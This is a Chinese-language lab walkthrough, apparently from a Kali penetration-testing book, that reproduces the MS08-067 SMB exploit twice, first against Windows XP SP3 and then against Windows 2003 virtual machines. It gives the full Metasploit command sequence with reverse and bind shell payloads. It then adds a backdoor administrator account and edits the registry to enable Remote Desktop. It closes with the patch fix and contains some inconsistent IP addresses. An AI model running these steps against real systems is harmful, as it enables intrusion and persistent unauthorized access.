本期文章由华章it赞助,未经允许,禁止转发。本文内容源自《kali linux 高级渗透测试》一书,感兴趣的读者可以购买阅读。
本文作者:k0xx1 编辑:天均 排版:天均
漏洞利用前的准备工作包括寻找漏洞信息。以下是一些常用的漏洞信息来源:
- CVE(https://www.php.cn/link/fbfe2df616b6864090539113663415f3 Vulnerabilities & Exposures公共漏洞和暴露,由MITRE于1999年发起,致力于社区合作。
- NVD(https://www.php.cn/link/fecfe776124124589c06f1d137c8833496f Institute of Standards and Technology (NIST)于2005年发起。
- CNVD:国家信息安全漏洞共享平台,英文名为China National Vulnerability Database,隶属于国家计算机网络应急技术处理协调中心(CNCERT),CNCERT是工信部的下属单位。
- CNNVD(https://www.php.cn/link/50e9ea9c1bc5e6067ab7c0d8fbdd5f21 National Vulnerability Database of Information Security,简称CNNVD,隶属于中国信息安全测评中心(简称国测,国测的主管单位是Security部),负责建设和运维国家级信息安全漏洞库,为我国信息安全保障提供基础服务。
- MSRC(https://www.php.cn/link/dd159c05a369b53f45e46d799740331f。
本文将介绍MS08-067漏洞,这是2008年的第67个公告(https://www.php.cn/link/fe103355d7f731a557951558ba906d39)。
虚拟机安装所需文件包括:
- 各种虚拟机系统:自备
- 纯净版WinXPSP3:winxp-sp3 English(winxpensp3)
- Kali Linux虚拟机文件:kali-linux-2020.2-vmware-amd64.7z(默认用户名和密码为kali/kali)
安装过程(略):
- 记得将虚拟机的网卡都设置为桥接模式。
- WinXP系统管理员(Administrator)密码可以设置为复杂密码。
- WinXP初次启动画面选择不启动自动更新,第一个用户名随便填写。
- WinXP启动后关闭Windows自带防火墙。
- 如果Kali不是用虚拟机镜像而是ISO向导安装,建议默认安装区域和语言都选择美国英语,然后参考下面的中文支持,否则对一般用户很麻烦。
- Kali使用默认的
qterminal
。 - Kali中文支持:
- 打开终端。
- 输入
sudo dpkg-reconfigure locales
,选择en_US.UTF-8、zh_CN.GBK、zh_CN.UTF-8
,用空格选定,用Tab
选择OK
回车。 - 默认环境可以选择
zh_CN.UTF-8
或en_US.UTF-8
。 - 更新包为最新内容
sudo apt-get update
,有些人也可以选择更新到国内源,只是需要修改/etc/apt/sources.list
的源内容,具体可以提issue询问如何修改。 - 安装默认桌面环境需要的字体
sudo apt-get install xfonts-intl-chinese ttf-wqy-microhei
。 - 重启Kali ->
reboot
。
攻击者IP为192.168.1.102,被攻击的IP为192.168.1.128。

03 漏洞利用
首先嗅探端口,看看445端口是否开放。

确认445端口(SMB)确实开放后,进行系统渗透:
-
进入msf终端:
kali@kali:~$ msfconsole

-
搜索
ms08_067
漏洞信息:msf5 > search ms08_067

-
选择利用此漏洞:
msf5 > use exploit/windows/smb/ms08_067_netapi

-
设置payload:
msf5 exploit(windows/smb/ms08_067_netapi) > set payload generic/shell_reverse_tcp

-
设置target为XP2001:
msf exploit(windows/smb/ms08_067_netapi) > set target 6

-
设置目标机器IP地址:
msf exploit(windows/smb/ms08_067_netapi) > set RHOST "192.168.1.128"

-
查看当前渗透选项:
msf exploit(windows/smb/ms08_067_netapi) > show options

-
开始渗透:

成功获取Windows Shell后,进行漏洞利用:
-
创建Windows用户,用户名为
someone
,密码为12345678
:net user someone 12345678 /add

-
将用户
someone
加入管理员组:net localgroup administrators someone /add

-
修改注册表开启远程访问:
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

操作成功后,使用
netstat -an可以看到3389端口已开启,说明远程访问已生效。

此时可以使用远程桌面连接,例如:
rdesktop 192.168.1.128


04 解决方案
- 升级到最新的Windows系统。
- 安装
KB958644
补丁。
Win2003的MS08-067漏洞利用复现和解决方案
漏洞利用前的准备工作包括寻找漏洞信息。以下是一些常用的漏洞信息来源:
- CVE(https://www.php.cn/link/fbfe2df616b6864090539113663415f3 Vulnerabilities & Exposures公共漏洞和暴露,由MITRE于1999年发起,致力于社区合作。
- NVD(https://www.php.cn/link/fecfe776124124589c06f1d137c8833496f Institute of Standards and Technology (NIST)于2005年发起。
- CNVD:国家信息安全漏洞共享平台,英文名为China National Vulnerability Database,隶属于国家计算机网络应急技术处理协调中心(CNCERT),CNCERT是工信部的下属单位。
- CNNVD(https://www.php.cn/link/50e9ea9c1bc5e6067ab7c0d8fbdd5f21 National Vulnerability Database of Information Security,简称CNNVD,隶属于中国信息安全测评中心(简称国测,国测的主管单位是Security部),负责建设和运维国家级信息安全漏洞库,为我国信息安全保障提供基础服务。
- MSRC(https://www.php.cn/link/dd159c05a369b53f45e46d799740331f。
本文将介绍MS08-067漏洞,这是2008年的第67个公告(https://www.php.cn/link/fe103355d7f731a557951558ba906d39)。
虚拟机安装所需文件包括:
- 各种虚拟机系统:自备
- Win2003虚拟机:Win2K3 Metasploit
- Kali Linux虚拟机文件:kali-linux-2020.2-vmware-amd64.7z(默认用户名和密码为kali/kali)
安装过程(略):
- 记得将虚拟机的网卡都设置为桥接模式。
- Win2003系统管理员(Administrator)密码可以设置为复杂密码。
- Win2003初次启动画面选择不启动自动更新,第一个用户名随便填写。
- Win2003启动后关闭Windows自带防火墙。
- 如果Kali不是用虚拟机镜像而是ISO向导安装,建议默认安装区域和语言都选择美国英语,然后参考下面的中文支持,否则对一般用户很麻烦。
- Kali使用
xfce Terminal
而不是默认的qterminal
。
0x03 漏洞利用
机器地址:
- 攻击者IP:192.168.1.105
- 被攻者IP:192.168.1.128
嗅探端口,看看445端口是否开放:
kali@kali:~$ nmap -PS 192.138.1.128

确认445端口(SMB)确实开放后,进行系统渗透:
-
进入msf终端:
kali@kali:~$ msfconsole

-
搜索
ms08_067
漏洞信息:msf5 > search ms08_067

-
选择利用此漏洞:
msf5 > use exploit/windows/smb/ms08_067_netapi

-
设置payload:
msf5 exploit(windows/smb/ms08_067_netapi) > set payload "generic/shell_bind_tcp"

-
设置target为win2003-english,由于不知道具体版本,所以填0:
msf5 exploit(windows/smb/ms08_067_netapi) > set target 0

-
设置目标机器和被攻击机器IP地址,RHOST为被攻击机器,LHOST为攻击机器:
msf5 exploit(windows/smb/ms08_067_netapi) > set RHOST "192.168.1.128" msf5 exploit(windows/smb/ms08_067_netapi) > set LHOST "192.168.1.108"

-
查看当前渗透选项:
msf5 exploit(windows/smb/ms08_067_netapi) > show options

-
开始渗透:

成功获取Windows Shell后,进行漏洞利用:
-
创建Windows用户,用户名为
someone
,密码为12345678
:net user someone 12345678 /add

-
将用户
someone
加入管理员组:net localgroup administrators someone /add

-
修改注册表开启远程访问:
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

操作成功后,使用
netstat -an可以看到3389端口已开启,说明远程访问已生效。

此时可以使用远程桌面连接,例如:
rdesktop 192.168.1.128

0x04 解决方案
- 升级到最新的Windows系统。
- 安装
KB958644
补丁。










